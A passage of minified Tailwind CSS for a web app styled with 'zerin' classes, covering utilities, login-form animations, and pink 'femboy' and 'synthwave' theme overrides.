var(--tw-gradient-from), #1a1a22 var(--tw-gradient-via-position), var(--tw-gradient-to)}.via-cyan-300{--tw-gradient-to: rgb(103 232 249 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), #67e8f9 var(--tw-gradient-via-position), var(--tw-gradient-to)}.via-emerald-500\/30{--tw-gradient-to: rgb(16 185 129 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), rgb(16 185 129 / .3) var(--tw-gradient-via-position), var(--tw-gradient-to)}.via-red-500\/20{--tw-gradient-to: rgb(239 68 68 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), rgb(239 68 68 / .2) var(--tw-gradient-via-position), var(--tw-gradient-to)}.via-transparent{--tw-gradient-to: rgb(0 0 0 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), transparent var(--tw-gradient-via-position), var(--tw-gradient-to)}.via-white\/20{--tw-gradient-to: rgb(255 255 255 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), rgb(255 255 255 / .2) var(--tw-gradient-via-position), var(--tw-gradient-to)}.via-zerin-accent\/20{--tw-gradient-to: rgb(6 182 212 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), rgb(6 182 212 / .2) var(--tw-gradient-via-position), var(--tw-gradient-to)}.to-cyan-300{--tw-gradient-to: #67e8f9 var(--tw-gradient-to-position)}.to-emerald-400{--tw-gradient-to: #34d399 var(--tw-gradient-to-position)}.to-transparent{--tw-gradient-to: transparent var(--tw-gradient-to-position)}.to-zerin-accent{--tw-gradient-to: #06B6D4 var(--tw-gradient-to-position)}.to-zerin-accent\/10{--tw-gradient-to: rgb(6 182 212 / .1) var(--tw-gradient-to-position)}.bg-clip-text{-webkit-background-clip:text;background-clip:text}.object-contain{-o-object-fit:contain;object-fit:contain}.object-cover{-o-object-fit:cover;object-fit:cover}.p-1\.5{padding:.375rem}.p-10{padding:2.5rem}.p-2{padding:.5rem}.p-3{padding:.75rem}.p-4{padding:1rem}.p-5{padding:1.25rem}.p-6{padding:1.5rem}.p-8{padding:2rem}.px-1{padding-left:.25rem;padding-right:.25rem}.px-1\.5{padding-left:.375rem;padding-right:.375rem}.px-10{padding-left:2.5rem;padding-right:2.5rem}.px-2{padding-left:.5rem;padding-right:.5rem}.px-2\.5{padding-left:.625rem;padding-right:.625rem}.px-3{padding-left:.75rem;padding-right:.75rem}.px-4{padding-left:1rem;padding-right:1rem}.px-5{padding-left:1.25rem;padding-right:1.25rem}.px-6{padding-left:1.5rem;padding-right:1.5rem}.px-7{padding-left:1.75rem;padding-right:1.75rem}.px-8{padding-left:2rem;padding-right:2rem}.py-0\.5{padding-top:.125rem;padding-bottom:.125rem}.py-1{padding-top:.25rem;padding-bottom:.25rem}.py-1\.5{padding-top:.375rem;padding-bottom:.375rem}.py-12{padding-top:3rem;padding-bottom:3rem}.py-16{padding-top:4rem;padding-bottom:4rem}.py-2{padding-top:.5rem;padding-bottom:.5rem}.py-2\.5{padding-top:.625rem;padding-bottom:.625rem}.py-20{padding-top:5rem;padding-bottom:5rem}.py-24{padding-top:6rem;padding-bottom:6rem}.py-28{padding-top:7rem;padding-bottom:7rem}.py-3{padding-top:.75rem;padding-bottom:.75rem}.py-3\.5{padding-top:.875rem;padding-bottom:.875rem}.py-32{padding-top:8rem;padding-bottom:8rem}.py-4{padding-top:1rem;padding-bottom:1rem}.py-5{padding-top:1.25rem;padding-bottom:1.25rem}.py-6{padding-top:1.5rem;padding-bottom:1.5rem}.py-8{padding-top:2rem;padding-bottom:2rem}.py-\[7px\]{padding-top:7px;padding-bottom:7px}.pb-0{padding-bottom:0}.pb-1{padding-bottom:.25rem}.pb-16{padding-bottom:4rem}.pb-2{padding-bottom:.5rem}.pb-3{padding-bottom:.75rem}.pb-4{padding-bottom:1rem}.pl-0{padding-left:0}.pl-3{padding-left:.75rem}.pl-4{padding-left:1rem}.pl-8{padding-left:2rem}.pr-3{padding-right:.75rem}.pt-0\.5{padding-top:.125rem}.pt-1{padding-top:.25rem}.pt-2{padding-top:.5rem}.pt-3{padding-top:.75rem}.pt-32{padding-top:8rem}.pt-4{padding-top:1rem}.pt-6{padding-top:1.5rem}.pt-\[15vh\]{padding-top:15vh}.pt-px{padding-top:1px}.text-left{text-align:left}.text-center{text-align:center}.text-right{text-align:right}.font-display{font-family:var(--font-display),"Segoe UI",system-ui,-apple-system,BlinkMacSystemFont,"Helvetica Neue",Arial,sans-serif}.font-mono{font-family:var(--font-mono),"Cascadia Code","Consolas","SF Mono","Liberation Mono","Menlo",monospace}.font-sans{font-family:var(--font-sans),"Segoe UI",system-ui,-apple-system,BlinkMacSystemFont,"Helvetica Neue",Arial,sans-serif}.text-2xl{font-size:1.5rem;line-height:2rem}.text-3xl{font-size:1.875rem;line-height:2.25rem}.text-4xl{font-size:2.25rem;line-height:2.5rem}.text-5xl{font-size:3rem;line-height:1}.text-\[10px\]{font-size:10px}.text-\[11px\]{font-size:11px}.text-\[12px\]{font-size:12px}.text-\[13px\]{font-size:13px}.text-\[14px\]{font-size:14px}.text-\[15px\]{font-size:15px}.text-\[22px\]{font-size:22px}.text-\[8px\]{font-size:8px}.text-\[9px\]{font-size:9px}.text-base{font-size:1rem;line-height:1.5rem}.text-lg{font-size:1.125rem;line-height:1.75rem}.text-sm{font-size:.875rem;line-height:1.25rem}.text-xl{font-size:1.25rem;line-height:1.75rem}.text-xs{font-size:.75rem;line-height:1rem}.font-bold{font-weight:700}.font-medium{font-weight:500}.font-normal{font-weight:400}.font-semibold{font-weight:600}.uppercase{text-transform:uppercase}.lowercase{text-transform:lowercase}.capitalize{text-transform:capitalize}.tabular-nums{--tw-numeric-spacing: tabular-nums;font-variant-numeric:var(--tw-ordinal) var(--tw-slashed-zero) var(--tw-numeric-figure) var(--tw-numeric-spacing) var(--tw-numeric-fraction)}.leading-\[0\.95\]{line-height:.95}.leading-\[1\.8\]{line-height:1.8}.leading-\[1\.9\]{line-height:1.9}.leading-\[14px\]{line-height:14px}.leading-none{line-height:1}.leading-relaxed{line-height:1.625}.leading-tight{line-height:1.25}.tracking-\[0\.15em\]{letter-spacing:.15em}.tracking-\[0\.2em\]{letter-spacing:.2em}.tracking-\[0\.3em\]{letter-spacing:.3em}.tracking-tight{letter-spacing:-.025em}.tracking-wide{letter-spacing:.025em}.tracking-wider{letter-spacing:.05em}.tracking-widest{letter-spacing:.1em}.text-\[\#00F0FF\]{--tw-text-opacity: 1;color:rgb(0 240 255 / var(--tw-text-opacity, 1))}.text-\[\#04040a\]{--tw-text-opacity: 1;color:rgb(4 4 10 / var(--tw-text-opacity, 1))}.text-\[\#3a3a44\]{--tw-text-opacity: 1;color:rgb(58 58 68 / var(--tw-text-opacity, 1))}.text-\[\#4a4a54\]{--tw-text-opacity: 1;color:rgb(74 74 84 / var(--tw-text-opacity, 1))}.text-\[\#b0b0b8\]{--tw-text-opacity: 1;color:rgb(176 176 184 / var(--tw-text-opacity, 1))}.text-\[\#ef4444\]\/80{color:#ef4444cc}.text-\[\#ff69b4\]{--tw-text-opacity: 1;color:rgb(255 105 180 / var(--tw-text-opacity, 1))}.text-amber-400{--tw-text-opacity: 1;color:rgb(251 191 36 / var(--tw-text-opacity, 1))}.text-amber-400\/60{color:#fbbf2499}.text-amber-400\/80{color:#fbbf24cc}.text-amber-400\/90{color:#fbbf24e6}.text-black{--tw-text-opacity: 1;color:rgb(0 0 0 / var(--tw-text-opacity, 1))}.text-blue-300{--tw-text-opacity: 1;color:rgb(147 197 253 / var(--tw-text-opacity, 1))}.text-blue-400{--tw-text-opacity: 1;color:rgb(96 165 250 / var(--tw-text-opacity, 1))}.text-cyan-300{--tw-text-opacity: 1;color:rgb(103 232 249 / var(--tw-text-opacity, 1))}.text-cyan-400{--tw-text-opacity: 1;color:rgb(34 211 238 / var(--tw-text-opacity, 1))}.text-emerald-400{--tw-text-opacity: 1;color:rgb(52 211 153 / var(--tw-text-opacity, 1))}.text-emerald-400\/60{color:#34d39999}.text-emerald-400\/70{color:#34d399b3}.text-emerald-400\/80{color:#34d399cc}.text-emerald-400\/90{color:#34d399e6}.text-emerald-500{--tw-text-opacity: 1;color:rgb(16 185 129 / var(--tw-text-opacity, 1))}.text-gray-300{--tw-text-opacity: 1;color:rgb(209 213 219 / var(--tw-text-opacity, 1))}.text-orange-300{--tw-text-opacity: 1;color:rgb(253 186 116 / var(--tw-text-opacity, 1))}.text-orange-400{--tw-text-opacity: 1;color:rgb(251 146 60 / var(--tw-text-opacity, 1))}.text-purple-400{--tw-text-opacity: 1;color:rgb(192 132 252 / var(--tw-text-opacity, 1))}.text-red-300{--tw-text-opacity: 1;color:rgb(252 165 165 / var(--tw-text-opacity, 1))}.text-red-400{--tw-text-opacity: 1;color:rgb(248 113 113 / var(--tw-text-opacity, 1))}.text-red-400\/60{color:#f8717199}.text-red-400\/70{color:#f87171b3}.text-red-400\/80{color:#f87171cc}.text-transparent{color:transparent}.text-white{--tw-text-opacity: 1;color:rgb(255 255 255 / var(--tw-text-opacity, 1))}.text-yellow-300{--tw-text-opacity: 1;color:rgb(253 224 71 / var(--tw-text-opacity, 1))}.text-yellow-400{--tw-text-opacity: 1;color:rgb(250 204 21 / var(--tw-text-opacity, 1))}.text-zerin-accent{--tw-text-opacity: 1;color:rgb(6 182 212 / var(--tw-text-opacity, 1))}.text-zerin-accent\/40{color:#06b6d466}.text-zerin-accent\/50{color:#06b6d480}.text-zerin-accent\/60{color:#06b6d499}.text-zerin-accent\/70{color:#06b6d4b3}.text-zerin-accent\/80{color:#06b6d4cc}.text-zerin-danger{--tw-text-opacity: 1;color:rgb(239 68 68 / var(--tw-text-opacity, 1))}.text-zerin-panel-border{--tw-text-opacity: 1;color:rgb(31 31 35 / var(--tw-text-opacity, 1))}.text-zerin-text{--tw-text-opacity: 1;color:rgb(250 250 250 / var(--tw-text-opacity, 1))}.text-zerin-text-dim{--tw-text-opacity: 1;color:rgb(161 161 170 / var(--tw-text-opacity, 1))}.text-zerin-text-dim\/80{color:#a1a1aacc}.text-zerin-text-muted{--tw-text-opacity: 1;color:rgb(82 82 91 / var(--tw-text-opacity, 1))}.text-zerin-text-muted\/25{color:#52525b40}.text-zerin-text-muted\/30{color:#52525b4d}.text-zerin-text-muted\/40{color:#52525b66}.text-zerin-text-muted\/50{color:#52525b80}.text-zerin-text-muted\/60{color:#52525b99}.text-zerin-text-muted\/80{color:#52525bcc}.text-zinc-300{--tw-text-opacity: 1;color:rgb(212 212 216 / var(--tw-text-opacity, 1))}.text-zinc-400{--tw-text-opacity: 1;color:rgb(161 161 170 / var(--tw-text-opacity, 1))}.text-zinc-500{--tw-text-opacity: 1;color:rgb(113 113 122 / var(--tw-text-opacity, 1))}.text-zinc-600{--tw-text-opacity: 1;color:rgb(82 82 91 / var(--tw-text-opacity, 1))}.text-zinc-700{--tw-text-opacity: 1;color:rgb(63 63 70 / var(--tw-text-opacity, 1))}.underline{text-decoration-line:underline}.line-through{text-decoration-line:line-through}.decoration-zerin-danger\/60{text-decoration-color:#ef444499}.underline-offset-2{text-underline-offset:2px}.placeholder-\[\#3a3a44\]::-moz-placeholder{--tw-placeholder-opacity: 1;color:rgb(58 58 68 / var(--tw-placeholder-opacity, 1))}.placeholder-\[\#3a3a44\]::placeholder{--tw-placeholder-opacity: 1;color:rgb(58 58 68 / var(--tw-placeholder-opacity, 1))}.placeholder-zerin-text-muted::-moz-placeholder{--tw-placeholder-opacity: 1;color:rgb(82 82 91 / var(--tw-placeholder-opacity, 1))}.placeholder-zerin-text-muted::placeholder{--tw-placeholder-opacity: 1;color:rgb(82 82 91 / var(--tw-placeholder-opacity, 1))}.placeholder-zerin-text-muted\/40::-moz-placeholder{color:#52525b66}.placeholder-zerin-text-muted\/40::placeholder{color:#52525b66}.accent-amber-500{accent-color:#f59e0b}.accent-zerin-accent{accent-color:#06B6D4}.opacity-0{opacity:0}.opacity-100{opacity:1}.opacity-25{opacity:.25}.opacity-30{opacity:.3}.opacity-40{opacity:.4}.opacity-50{opacity:.5}.opacity-60{opacity:.6}.opacity-75{opacity:.75}.opacity-90{opacity:.9}.opacity-\[0\.03\]{opacity:.03}.opacity-\[0\.04\]{opacity:.04}.shadow-2xl{--tw-shadow: 0 25px 50px -12px rgb(0 0 0 / .25);--tw-shadow-colored: 0 25px 50px -12px var(--tw-shadow-color);box-shadow:var(--tw-ring-offset-shadow, 0 0 #0000),var(--tw-ring-shadow, 0 0 #0000),var(--tw-shadow)}.shadow-lg{--tw-shadow: 0 10px 15px -3px rgb(0 0 0 / .1), 0 4px 6px -4px rgb(0 0 0 / .1);--tw-shadow-colored: 0 10px 15px -3px var(--tw-shadow-color), 0 4px 6px -4px var(--tw-shadow-color);box-shadow:var(--tw-ring-offset-shadow, 0 0 #0000),var(--tw-ring-shadow, 0 0 #0000),var(--tw-shadow)}.shadow-xl{--tw-shadow: 0 20px 25px -5px rgb(0 0 0 / .1), 0 8px 10px -6px rgb(0 0 0 / .1);--tw-shadow-colored: 0 20px 25px -5px var(--tw-shadow-color), 0 8px 10px -6px var(--tw-shadow-color);box-shadow:var(--tw-ring-offset-shadow, 0 0 #0000),var(--tw-ring-shadow, 0 0 #0000),var(--tw-shadow)}.shadow-black\/40{--tw-shadow-color: rgb(0 0 0 / .4);--tw-shadow: var(--tw-shadow-colored)}.shadow-black\/60{--tw-shadow-color: rgb(0 0 0 / .6);--tw-shadow: var(--tw-shadow-colored)}.outline-none{outline:2px solid transparent;outline-offset:2px}.ring{--tw-ring-offset-shadow: var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow: var(--tw-ring-inset) 0 0 0 calc(3px + var(--tw-ring-offset-width)) var(--tw-ring-color);box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow, 0 0 #0000)}.blur{--tw-blur: blur(8px);filter:var(--tw-blur) var(--tw-brightness) var(--tw-contrast) var(--tw-grayscale) var(--tw-hue-rotate) var(--tw-invert) var(--tw-saturate) var(--tw-sepia) var(--tw-drop-shadow)}.blur-sm{--tw-blur: blur(4px);filter:var(--tw-blur) var(--tw-brightness) var(--tw-contrast) var(--tw-grayscale) var(--tw-hue-rotate) var(--tw-invert) var(--tw-saturate) var(--tw-sepia) var(--tw-drop-shadow)}.drop-shadow-\[0_0_40px_rgba\(6\,182\,212\,0\.4\)\]{--tw-drop-shadow: drop-shadow(0 0 40px rgba(6,182,212,.4));filter:var(--tw-blur) var(--tw-brightness) var(--tw-contrast) var(--tw-grayscale) var(--tw-hue-rotate) var(--tw-invert) var(--tw-saturate) var(--tw-sepia) var(--tw-drop-shadow)}.invert{--tw-invert: invert(100%);filter:var(--tw-blur) var(--tw-brightness) var(--tw-contrast) var(--tw-grayscale) var(--tw-hue-rotate) var(--tw-invert) var(--tw-saturate) var(--tw-sepia) var(--tw-drop-shadow)}.filter{filter:var(--tw-blur) var(--tw-brightness) var(--tw-contrast) var(--tw-grayscale) var(--tw-hue-rotate) var(--tw-invert) var(--tw-saturate) var(--tw-sepia) var(--tw-drop-shadow)}.backdrop-blur-sm{--tw-backdrop-blur: blur(4px);-webkit-backdrop-filter:var(--tw-backdrop-blur) var(--tw-backdrop-brightness) var(--tw-backdrop-contrast) var(--tw-backdrop-grayscale) var(--tw-backdrop-hue-rotate) var(--tw-backdrop-invert) var(--tw-backdrop-opacity) var(--tw-backdrop-saturate) var(--tw-backdrop-sepia);backdrop-filter:var(--tw-backdrop-blur) var(--tw-backdrop-brightness) var(--tw-backdrop-contrast) var(--tw-backdrop-grayscale) var(--tw-backdrop-hue-rotate) var(--tw-backdrop-invert) var(--tw-backdrop-opacity) var(--tw-backdrop-saturate) var(--tw-backdrop-sepia)}.backdrop-blur-xl{--tw-backdrop-blur: blur(24px);-webkit-backdrop-filter:var(--tw-backdrop-blur) var(--tw-backdrop-brightness) var(--tw-backdrop-contrast) var(--tw-backdrop-grayscale) var(--tw-backdrop-hue-rotate) var(--tw-backdrop-invert) var(--tw-backdrop-opacity) var(--tw-backdrop-saturate) var(--tw-backdrop-sepia);backdrop-filter:var(--tw-backdrop-blur) var(--tw-backdrop-brightness) var(--tw-backdrop-contrast) var(--tw-backdrop-grayscale) var(--tw-backdrop-hue-rotate) var(--tw-backdrop-invert) var(--tw-backdrop-opacity) var(--tw-backdrop-saturate) var(--tw-backdrop-sepia)}.transition-all{transition-property:all;transition-timing-function:cubic-bezier(.4,0,.2,1);transition-duration:.15s}.transition-colors{transition-property:color,background-color,border-color,text-decoration-color,fill,stroke;transition-timing-function:cubic-bezier(.4,0,.2,1);transition-duration:.15s}.transition-opacity{transition-property:opacity;transition-timing-function:cubic-bezier(.4,0,.2,1);transition-duration:.15s}.transition-transform{transition-property:transform;transition-timing-function:cubic-bezier(.4,0,.2,1);transition-duration:.15s}.duration-100{transition-duration:.1s}.duration-1000{transition-duration:1s}.duration-150{transition-duration:.15s}.duration-200{transition-duration:.2s}.duration-300{transition-duration:.3s}.duration-500{transition-duration:.5s}.duration-700{transition-duration:.7s}.duration-75{transition-duration:75ms}.ease-in-out{transition-timing-function:cubic-bezier(.4,0,.2,1)}.ease-out{transition-timing-function:cubic-bezier(0,0,.2,1)}.\[appearance\:textfield\]{-webkit-appearance:textfield;-moz-appearance:textfield;appearance:textfield}.\[color-scheme\:dark\]{color-scheme:dark}*{-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}body{--tw-bg-opacity: 1;background-color:rgb(9 9 11 / var(--tw-bg-opacity, 1));font-family:var(--font-sans),"Segoe UI",system-ui,-apple-system,BlinkMacSystemFont,"Helvetica Neue",Arial,sans-serif;--tw-text-opacity: 1;color:rgb(250 250 250 / var(--tw-text-opacity, 1))}.femboy-theme body{background-color:var(--fem-bg);color:var(--fem-text)}.synthwave-theme body{background-color:var(--synth-bg);color:var(--synth-text)}.synthwave-theme body.font-display{background:linear-gradient(135deg,#ff2d95,#ff6b9d,#00f0ff,#b026ff);-webkit-background-clip:text;-webkit-text-fill-color:transparent;background-clip:text;filter:drop-shadow(0 0 8px rgba(255,45,149,.4))}body.app-layout{overflow:hidden}#root{height:100vh;width:100vw}::-moz-selection{background:#06b6d44d;color:#fafafa}::selection{background:#06b6d44d;color:#fafafa}.custom-scrollbar::-webkit-scrollbar{width:6px;height:6px}.custom-scrollbar::-webkit-scrollbar-track{background:transparent}.custom-scrollbar::-webkit-scrollbar-thumb{background:#27272a;border-radius:3px}.custom-scrollbar::-webkit-scrollbar-thumb:hover{background:#3f3f46}.custom-scrollbar{scrollbar-width:thin;scrollbar-color:#27272A transparent}:focus-visible{outline:2px solid rgba(6,182,212,.5);outline-offset:2px}.form-input{width:100%;border-radius:.125rem;border-width:1px;--tw-border-opacity: 1;border-color:rgb(31 31 35 / var(--tw-border-opacity, 1));--tw-bg-opacity: 1;background-color:rgb(9 9 11 / var(--tw-bg-opacity, 1));padding:.625rem .75rem;font-family:var(--font-sans),"Segoe UI",system-ui,-apple-system,BlinkMacSystemFont,"Helvetica Neue",Arial,sans-serif;font-size:.875rem;line-height:1.25rem;--tw-text-opacity: 1;color:rgb(250 250 250 / var(--tw-text-opacity, 1));transition-property:all;transition-timing-function:cubic-bezier(.4,0,.2,1);transition-duration:.15s}.femboy-theme .form-input{background-color:var(--fem-bg);color:var(--fem-text);border-color:var(--fem-border)}.femboy-theme .form-input:focus{border-color:var(--fem-accent);--tw-ring-color: rgba(255, 105, 180, .3)}.synthwave-theme .form-input{background-color:var(--synth-bg);color:var(--synth-text);border-color:var(--synth-border)}.synthwave-theme .form-input:focus{border-color:var(--synth-cyan);--tw-ring-color: rgba(0, 240, 255, .3)}.synthwave-theme .form-input{box-shadow:inset 0 0 0 .5px #ff2d950d}.synthwave-theme .font-display.form-input{background:linear-gradient(135deg,#ff2d95,#ff6b9d,#00f0ff,#b026ff);-webkit-background-clip:text;-webkit-text-fill-color:transparent;background-clip:text;filter:drop-shadow(0 0 8px rgba(255,45,149,.4))}.form-input:focus{--tw-border-opacity: 1;border-color:rgb(6 182 212 / var(--tw-border-opacity, 1));outline:2px solid transparent;outline-offset:2px;--tw-ring-offset-shadow: var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow: var(--tw-ring-inset) 0 0 0 calc(1px + var(--tw-ring-offset-width)) var(--tw-ring-color);box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow, 0 0 #0000);--tw-ring-color: rgb(6 182 212 / .3)}.form-input::-moz-placeholder{--tw-text-opacity: 1;color:rgb(82 82 91 / var(--tw-text-opacity, 1))}.form-input::placeholder{--tw-text-opacity: 1;color:rgb(82 82 91 / var(--tw-text-opacity, 1))}.femboy-theme .form-input::-moz-placeholder{color:var(--fem-text-muted)}.femboy-theme .form-input::placeholder{color:var(--fem-text-muted)}.synthwave-theme .form-input::-moz-placeholder{color:var(--synth-text-muted)}.synthwave-theme .form-input::placeholder{color:var(--synth-text-muted)}select.form-input{cursor:pointer;background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='none' viewBox='0 0 20 20'%3E%3Cpath stroke='%2352525B' stroke-linecap='round' stroke-linejoin='round' stroke-width='1.5' d='M6 8l4 4 4-4'/%3E%3C/svg%3E");background-position:right .5rem center;background-repeat:no-repeat;background-size:1.5em 1.5em;padding-right:2.5rem;-webkit-appearance:none;-moz-appearance:none;appearance:none}.animate-slide-up,.animate-fade-in{animation-fill-mode:forwards}@keyframes landingScanBar{0%{width:0%}to{width:100%}}.landing-scan-bar{animation:landingScanBar 2s cubic-bezier(.4,0,.2,1) forwards}@keyframes landingScanRowIn{0%{opacity:0;transform:translate(-8px)}to{opacity:1;transform:translate(0)}}.landing-scan-row{opacity:0;animation:landingScanRowIn .3s ease-out forwards}@keyframes ctxSubmenuIn{0%{opacity:0;transform:translate(-4px)}to{opacity:1;transform:translate(0)}}.ctx-submenu-in{animation:ctxSubmenuIn .12s ease-out}a,button{transition-property:color,background-color,border-color,box-shadow,opacity;transition-duration:.15s;transition-timing-function:cubic-bezier(.4,0,.2,1)}@keyframes authReveal{0%{opacity:0;transform:translateY(16px)}to{opacity:1;transform:translateY(0)}}.auth-stagger-1,.auth-stagger-2,.auth-stagger-3,.auth-stagger-4,.auth-stagger-5,.auth-stagger-6,.auth-stagger-7,.auth-stagger-8{opacity:0;animation:authReveal .5s cubic-bezier(.16,1,.3,1) forwards}.auth-stagger-1{animation-delay:0ms}.auth-stagger-2{animation-delay:.1s}.auth-stagger-3{animation-delay:.2s}.auth-stagger-4{animation-delay:.28s}.auth-stagger-5{animation-delay:.36s}.auth-stagger-6{animation-delay:.44s}.auth-stagger-7{animation-delay:.52s}.auth-stagger-8{animation-delay:.6s}@keyframes authBreathe{0%,to{transform:translateY(0)}50%{transform:translateY(-3px)}}.auth-breathe{animation:authBreathe 4s ease-in-out infinite}@keyframes authBadgeGlow{0%,to{box-shadow:0 0 4px #06b6d41a,inset 0 0 4px #06b6d40d;border-color:#06b6d44d}50%{box-shadow:0 0 12px #06b6d440,inset 0 0 8px #06b6d41a;border-color:#06b6d480}}.auth-badge-glow{animation:authBadgeGlow 3s ease-in-out infinite}.auth-card{position:relative;background:#111113;border:1px solid #1F1F23;padding:1.75rem;overflow:hidden;transition:border-color .3s ease}.auth-card:hover{border-color:#06b6d426}.auth-corner{position:absolute;width:14px;height:14px;pointer-events:none;z-index:5}.auth-corner-tl{top:-1px;left:-1px;border-top:2px solid rgba(6,182,212,.5);border-left:2px solid rgba(6,182,212,.5)}.auth-corner-tr{top:-1px;right:-1px;border-top:2px solid rgba(6,182,212,.5);border-right:2px solid rgba(6,182,212,.5)}.auth-corner-bl{bottom:-1px;left:-1px;border-bottom:2px solid rgba(6,182,212,.5);border-left:2px solid rgba(6,182,212,.5)}.auth-corner-br{bottom:-1px;right:-1px;border-bottom:2px solid rgba(6,182,212,.5);border-right:2px solid rgba(6,182,212,.5)}@keyframes authScanline{0%{top:-2px;opacity:0}5%{opacity:1}95%{opacity:1}to{top:100%;opacity:0}}.auth-scanline{position:absolute;left:0;right:0;height:1px;background:linear-gradient(90deg,transparent 0%,rgba(6,182,212,.3) 20%,rgba(6,182,212,.5) 50%,rgba(6,182,212,.3) 80%,transparent 100%);box-shadow:0 0 8px #06b6d426;z-index:4;pointer-events:none;animation:authScanline 4s ease-in-out infinite}.auth-input-wrap{position:relative}.auth-input-wrap:before{content:"";position:absolute;left:0;top:4px;bottom:4px;width:2px;background:transparent;transition:background .2s ease,box-shadow .2s ease;z-index:2;border-radius:1px}.auth-input-wrap:focus-within:before{background:#06b6d4;box-shadow:0 0 8px #06b6d466}.auth-input{width:100%;background:#09090b;border:1px solid #1F1F23;padding:.625rem .875rem .625rem 1rem;color:#fafafa;font-size:.875rem;font-family:var(--font-sans),"Segoe UI",system-ui,sans-serif;outline:none;transition:border-color .2s ease,box-shadow .2s ease,background .2s ease}.auth-input::-moz-placeholder{color:#52525b}.auth-input::placeholder{color:#52525b}.auth-input:focus{border-color:#06b6d466;box-shadow:0 0 0 3px #06b6d414,inset 0 0 12px #06b6d408;background:#0a0a0d}@keyframes authSubmitGlow{0%,to{box-shadow:0 0 12px #06b6d426,0 0 4px #06b6d41a}50%{box-shadow:0 0 20px #06b6d44d,0 0 8px #06b6d433}}.auth-submit{width:100%;position:relative;padding:.7rem 1rem;font-size:.875rem;font-weight:500;font-family:var(--font-sans),"Segoe UI",system-ui,sans-serif;color:#fff;background:linear-gradient(135deg,#0891b2,#06b6d4,#22d3ee);background-size:200% 200%;border:none;cursor:pointer;overflow:hidden;animation:authSubmitGlow 3s ease-in-out infinite;transition:filter .2s ease,transform .15s ease}.auth-submit:hover:not(:disabled){filter:brightness(1.1);transform:translateY(-1px)}.auth-submit:active:not(:disabled){transform:translateY(0)}.auth-submit:disabled{opacity:.5;cursor:not-allowed;animation:none}.auth-submit:after{content:"";position:absolute;top:0;left:-100%;width:100%;height:100%;background:linear-gradient(90deg,transparent 0%,rgba(255,255,255,.08) 50%,transparent 100%);transition:left .5s ease;z-index:1}.auth-submit:hover:after{left:100%}@keyframes authErrorIn{0%{opacity:0;transform:translateY(-8px) scaleY(.95);max-height:0;padding-top:0;padding-bottom:0;margin-bottom:0}to{opacity:1;transform:translateY(0) scaleY(1);max-height:80px;padding-top:.75rem;padding-bottom:.75rem;margin-bottom:0}}.auth-error{display:flex;align-items:center;gap:.75rem;background:#ef44440f;border:1px solid rgba(239,68,68,.2);color:#ef4444;font-size:.8125rem;font-family:var(--font-sans),"Segoe UI",system-ui,sans-serif;padding:.75rem 1rem;animation:authErrorIn .35s cubic-bezier(.16,1,.3,1) forwards;overflow:hidden}.auth-error-bar{flex-shrink:0;width:3px;height:16px;background:#ef4444;border-radius:1px;box-shadow:0 0 6px #ef444466}@keyframes authStatusPulse{0%,to{opacity:1;box-shadow:0 0 4px #06b6d466}50%{opacity:.5;box-shadow:0 0 8px #06b6d499}}.auth-status-dot{display:inline-block;width:5px;height:5px;border-radius:50%;background:#06b6d4;animation:authStatusPulse 2s ease-in-out infinite}.femboy-theme{--fem-bg: #fff5f8;--fem-bg-alt: #fff0f5;--fem-panel: #ffe8f1;--fem-panel-hover: #ffd6e7;--fem-border: #ffb8d4;--fem-border-hover: #ff9ec4;--fem-accent: #ff69b4;--fem-accent-hover: #ff4da6;--fem-accent-dim: #e84393;--fem-text: #3d0a22;--fem-text-dim: #7a2855;--fem-text-muted: #c48aa6}.femboy-theme,.femboy-theme *{cursor:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='28' height='32' viewBox='0 0 28 32'%3E%3Cellipse cx='14' cy='22' rx='8' ry='7' fill='%23ff69b4'/%3E%3Ccircle cx='6' cy='10' r='3.8' fill='%23ff69b4'/%3E%3Ccircle cx='14' cy='6' r='3.8' fill='%23ff69b4'/%3E%3Ccircle cx='22' cy='10' r='3.8' fill='%23ff69b4'/%3E%3Cellipse cx='14' cy='22' rx='5' ry='4.5' fill='%23ff1493' opacity='.4'/%3E%3Ccircle cx='6' cy='10' r='2' fill='%23ff1493' opacity='.4'/%3E%3Ccircle cx='14' cy='6' r='2' fill='%23ff1493' opacity='.4'/%3E%3Ccircle cx='22' cy='10' r='2' fill='%23ff1493' opacity='.4'/%3E%3C/svg%3E") 14 16,auto!important}.femboy-theme ::-moz-selection{background:#ff69b44d!important;color:#fff!important}.femboy-theme ::selection{background:#ff69b44d!important;color:#fff!important}.femboy-theme :focus-visible{outline-color:#ff69b480!important}.femboy-theme body{background-color:var(--fem-bg)!important;color:var(--fem-text)!important}.femboy-theme .bg-zerin-bg{background-color:var(--fem-bg)!important}.femboy-theme .bg-zerin-bg-alt{background-color:var(--fem-bg-alt)!important}.femboy-theme .bg-zerin-panel{background-color:var(--fem-panel)!important}.femboy-theme .bg-zerin-panel-hover,.femboy-theme .hover\:bg-zerin-panel-hover:hover{background-color:var(--fem-panel-hover)!important}.femboy-theme .bg-zerin-accent{background-color:var(--fem-accent)!important}.femboy-theme .bg-zerin-accent-hover{background-color:var(--fem-accent-hover)!important}.femboy-theme .bg-zerin-accent-dim{background-color:var(--fem-accent-dim)!important}.femboy-theme .bg-zerin-accent-muted,.femboy-theme .bg-zerin-accent-muted\/10{background-color:#ff69b41f!important}.femboy-theme .bg-zerin-danger-dim{background-color:#ff149314!important}.femboy-theme .hover\:bg-zerin-danger-dim:hover{background-color:#ff149326!important}.femboy-theme .bg-zinc-600{background-color:#dfa0bb!important}.femboy-theme .bg-zinc-700{background-color:#e8b5cc!important}.femboy-theme 